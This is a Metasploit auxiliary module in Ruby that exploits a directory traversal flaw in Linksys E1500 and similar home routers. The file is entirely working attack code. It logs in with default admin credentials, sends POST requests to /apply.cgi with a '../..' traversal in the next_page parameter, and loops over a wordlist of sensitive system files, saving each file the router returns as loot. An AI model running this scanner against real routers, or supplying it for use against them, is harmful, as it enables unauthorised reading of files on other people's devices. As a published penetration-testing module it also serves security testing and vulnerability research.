128 lines
3.9 KiB
Ruby
128 lines
3.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Linksys E1500 Directory Traversal Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal vulnerability which is present in
|
|
different Linksys home routers, like the E1500.
|
|
},
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],
|
|
[ 'URL', 'http://homekb.cisco.com/Cisco2/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=1&docid=d7d0a87be9864e20bc347a73f194411f_KB_EN_v1.xml' ],
|
|
[ 'BID', '57760' ],
|
|
[ 'OSVDB', '89911' ],
|
|
[ 'EDB', '24475' ]
|
|
],
|
|
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line",
|
|
File.join(Msf::Config.data_directory, "wordlists", "sensitive_files.txt") ]),
|
|
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
|
|
OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),
|
|
|
|
], self.class)
|
|
end
|
|
|
|
def extract_words(wordfile)
|
|
return [] unless wordfile && File.readable?(wordfile)
|
|
begin
|
|
words = File.open(wordfile, "rb") do |f|
|
|
f.read
|
|
end
|
|
rescue
|
|
return []
|
|
end
|
|
save_array = words.split(/\r?\n/)
|
|
return save_array
|
|
end
|
|
|
|
def find_files(file,user,pass)
|
|
uri = "/apply.cgi"
|
|
traversal = '../..'
|
|
data_trav = "submit_type=wsc_method2&change_action=gozila_cgi&next_page=" << traversal << file
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => uri,
|
|
'authorization' => basic_auth(user,pass),
|
|
'vars_post' => {
|
|
"submit_type" => "wsc_method2",
|
|
"change_action" => "gozila_cgi",
|
|
"next_page" => traversal << file
|
|
}
|
|
})
|
|
|
|
#without res.body.length we get lots of false positives
|
|
if (res and res.code == 200 and res.body.length > 0)
|
|
print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
|
|
report_web_vuln({
|
|
:host => rhost,
|
|
:port => rport,
|
|
:vhost => datastore['VHOST'],
|
|
:path => uri,
|
|
:pname => data_trav,
|
|
:risk => 3,
|
|
:proof => data_trav,
|
|
:name => self.fullname,
|
|
:category => "web",
|
|
:method => "POST"
|
|
})
|
|
|
|
loot = store_loot("linksys.traversal.data","text/plain", rhost, res.body, file)
|
|
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
|
|
elsif (res and res.code)
|
|
vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")
|
|
end
|
|
end
|
|
|
|
def run_host(ip)
|
|
user = datastore['USERNAME']
|
|
pass = datastore['PASSWORD']
|
|
|
|
vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
|
|
|
|
#test login
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => '/',
|
|
'method' => 'GET',
|
|
'authorization' => basic_auth(user,pass)
|
|
})
|
|
|
|
return if res.nil?
|
|
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /httpd/)
|
|
return if (res.code == 404)
|
|
|
|
if [200, 301, 302].include?(res.code)
|
|
vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
|
else
|
|
vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
|
return
|
|
end
|
|
|
|
rescue ::Rex::ConnectionError
|
|
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
|
return
|
|
end
|
|
|
|
extract_words(datastore['SENSITIVE_FILES']).each do |file|
|
|
find_files(file, user, pass) unless file.empty?
|
|
end
|
|
end
|
|
end
|